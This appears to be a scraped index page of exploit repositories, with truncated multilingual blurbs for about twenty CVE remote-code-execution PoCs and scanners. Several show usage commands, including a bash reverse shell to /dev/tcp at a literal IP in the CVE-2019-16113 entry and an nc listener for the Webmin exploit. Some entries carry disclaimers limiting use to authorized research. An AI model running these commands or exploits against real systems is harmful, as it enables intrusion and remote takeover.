CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" Descargo de responsabilidad Esta herramienta es solo para estudio, investigación y autoevaluación. No debe utilizarse para fines ilegales. ¡Todos lo...

CVE-2025-55182-EXP

CVE-2025-55182 취약점 악용 도구 도구 소개 본 도구는 CVE-2025-55182 취약점Next.js 관련 프레임워크의 코드 실행 취약점으로 추정을 탐지하고 악용하기 위한 도구입니다. 단일 대상/다중 대상 일괄 탐지, 명령 실행, 인터랙티브 셸 등의 기능을 지원하며, 다양한 시나리오에 맞는 4가지 공격 모드를 제공합니다. Base64 인코딩 명령, 프록시 전달, 로그 출력 등 유연한 구성을 지원합니다. 취약점 설명 CVE-2025-55182 취약점은 Next.js 관련 애플리케이션에 존재할 수 있으며, 악의적인 요청...

CVE-2022-28368

CVE-2022-28368 - Dompdf RCE Dompdf RCE PoC 漏洞利用 图片 ExploitDB Dompdf 版本 1.2.1 存在远程代码执行（RCE）漏洞，攻击方式是在数据中注入 CSS。可以诱骗该文件在其字体缓存中存储带有 .php 文件扩展名的恶意字体，之后通过 Web 访问该字体即可执行代码。 用法 root@kitploit: git clone https://github.com/rvizx/CVE-2022-28368 cd CVE-2022-28368 python3 -m pip install -r requirements.txt...

POC-CVE-2018-10933

POC-CVE-2018-10933 Exploit de bypass de autenticación de LibSSH usando RCE Referencias del código Git Repo del ejemplo de https://www.youtube.com/watch?v=ZSWQjmfcn4g Más información sobre la vulnerabilidad https://www.libssh.org/security/advisories/CVE-2018-10933.txt...

CVE-2025-24893

Exploit para CVE-2025-24893 CVE-2025-24893 es una vulnerabilidad crítica de ejecución remota de código RCE sin autenticación que afecta a la Plataforma XWiki. Este fallo permite que cualquier usuario invitado inyecte y ejecute código Groovy arbitrario—sin autenticación—a través de una solicitud R...

cve-2021-1675

〖EXP〗Ladon打印机漏洞提权CVE-2021-1675复现 http://k8gege.org/p/CVE-2021-1675.html 基本情况 6月9日，微软发布6月安全更新补丁，修复了50个安全漏洞，其中包括一个Windows Print Spooler权限提升漏洞，漏洞CVE编号：CVE-2021-1675。未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码，从而获得整个域的控制权。建议受影响用户及时更新漏洞补丁进行防护，做好资产自查以及预防工作，以免遭受黑客攻击。 漏洞描述 Print...

CVE-2024-23739

CVE-2024-23739 Discord for macOS 0.0.291 及之前版本中存在一个问题，远程攻击者可通过 RunAsNode 和 enableNodeClilnspectArguments 设置执行任意代码。 有一个工具专门用于自动化搜索 Electron 应用中的漏洞：https://github.com/r3ggi/electroniz3r 使用此工具，我们可以检查该应用是否存在漏洞： 验证后，我们可以注入代码并获取 shell 享受你的 Shell 吧 :...

Webmin1.910_exploit

Webmin 1.910 원격 코드 실행 익스플로잇 설명: 이 저장소에는 Webmin 1.910 버전의 원격 코드 실행 취약점을 악용하도록 설계된 Python 3 스크립트가 포함되어 있습니다. 이 스크립트는 sessionlogin.cgi 엔드포인트를 사용하여 인증을 수행하고 리버스 셸 페이로드를 배포하여 대상 시스템에 대한 원격 액세스를 제공합니다. 이 익스플로잇은 승인된 침투 테스트 및 교육 목적으로 제작되었습니다. 1. 로컬 머신에서 리스너를 시작하세요: root@kitploit: nc -lvnp 2. 다음 명령어로 스크립트...

CVE-2022-30190

CVE 30190 Amine TITROFINE | 2022年12月17日 Follina（CVE-2022-30190）是最近发现的微软 Office 零日漏洞。这是一个高严重性漏洞，攻击者可借此发起远程代码执行（RCE）攻击。当调用应用程序（如 Word）通过 URL 协议调用 MSDT 时，就会触发该漏洞。成功利用此漏洞的攻击者可以以调用应用程序的权限运行任意代码。攻击者随后可以在用户权限允许的上下文中安装程序、查看、更改或删除数据，或创建新帐户。 环境 2 台虚拟机： 攻击机 kali-linux-2022.3-virtualbox-amd64（下载链接） 受害者机器...

NotSecDrv

NotSecDrv - Un código PoC para CVE-2018-7249 Descripción General Se descubrió un problema en secdrv.sys tal como se distribuye en Microsoft Windows Vista, Windows 7, Windows 8 y Windows 8.1 anteriores a KB3086255, y tal como se distribuye en Macrovision SafeDisc. Dos llamadas cuidadosamente...

CVE-2023-27350

PaperCut NG/MG RCE（CVE-2023-27350） 一个精简的 Bash 漏洞利用脚本，用于 CVE-2023-27350。该脚本自动化了认证绕过、环境准备以及通过 PaperCut 打印机脚本引擎进行的命令注入。 可视化验证 基本 RCE： 触发反向 Shell： 快速开始 root@kitploit: Clone the repository git clone https://github.com/dezso-dfield/CVE-2023-27350.git Enter the directory cd CVE-2023-27350 Make the scrip...

CVE-2021-24499

CVE-2021-24499 Mass exploitation of CVE-2021-24499 unauthenticated upload leading to remote code execution in Workreap theme. The AJAX actions workreapawardtempfileuploader and workreaptempfileuploader did not perform nonce checks, or validate that the request is from a valid user in any other wa...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE 认证 用法 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 示例...

CVE-2026-34197-payload-Apache-ActiveMQ-

ActiveMQ Jolokia RCE 漏洞复现指南 本仓库提供了一个基于 Apache ActiveMQ 暴露的 Jolokia API 接口（/api/jolokia/）的远程代码执行 RCE 漏洞复现环境和利用脚本。 通过调用 addNetworkConnector 操作，强制 ActiveMQ 解析恶意构造的远程 Spring XML 配置文件，从而利用 MethodInvokingFactoryBean 执行系统命令。 📁 包含文件 payload.py : 利用主脚本，发送带有动态 Broker 名称的 HTTP POST 请求。 payload.xml : 恶意的...

CVE-2021-22986

F5 BIG-IP RCE / CVE-2021-22986 Vulnerabilidad de Ejecución Remota de Código Código por: Tas9er Advertencia Esta herramienta está diseñada para ayudar a las empresas a localizar y corregir vulnerabilidades rápidamente. Solo para uso autorizado en pruebas de seguridad, cumpliendo estrictamente con ...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner Python 3で書かれた自動化F5 Big IPリモートコード実行 CVE-2020-5902 スキャナー 脆弱性の説明 2020年6月30日にF5は重大なリモートコード実行の脆弱性 CVE-2020-5902 を公開しました。これは複数のバージョンのBig IPに影響します。 攻撃者は未公開ページのTMUI Traffic Management User Interface に存在するRCEとLFIを容易に悪用できます。 要するに、これはCVSSスコア10のリモートコード実行およびローカルファイルインクルージョンの脆弱性の一種です。...

CVE-2026-23744

CVE-2026-23744 针对 MCPJam Inspector 使用 pip install -r requirements.txt 安装依赖库 - 使用 python CVE-2026-23744 --help 查看信息 MCPJam inspector 是面向 MCP 服务器的本地优先开发平台。最新版本 1.4.2 及更早版本存在远程代码执行（RCE）漏洞，攻击者可发送特制的 HTTP 请求来触发 MCP 服务器的安装，从而导致远程代码执行。 该漏洞与 CVE-2025-49596 类似，但更为严重。CVE-2025-49596...

CVE-2023-23333

CVE-2023-23333 SolarView Compact 至 6.00 版本存在 downloader.php 命令注入漏洞（RCE）nuclei-templates Burp Nuclei...

laravel-poc-CVE-2018-15133

当 APPKEY 泄露时的 Laravel 远程代码执行 PoC CVE-2018-15133 本仓库包含一个运行在 PHP 7.2.10 上的简单 Laravel 5.6.29 应用程序，其中在 routes/web.php（参见 Dockerfile）中添加了一个基本的 noop 路由，以及针对 CVE-2018-15133 的概念验证利用脚本（cve-2018-15133.php），该脚本应能成功利用该 Laravel 应用程序并在目标系统上执行 uname -a。 如何运行该应用程序并在目标系统上执行 uname -a 的说明 root@kitploit: Build the...

CVE-2025-24367-Cacti-PoC

CVE-2025-24367 - Cacti 认证图形模板远程代码执行 使用与安全 重要——请先阅读： 本仓库和 exploit.py 仅用于教育和研究目的 。请不要 将此代码用于未经明确书面授权 的系统、网络或服务。未经授权访问计算机系统是违法且不道德的。使用此代码即表示您同意遵守适用的法律和机构政策。 要求 Python 3.8+ root@kitploit: python3 -m venv venv source venv/bin/activate pip install requests beautifulsoup4 使用方法 root@kitploit: python3...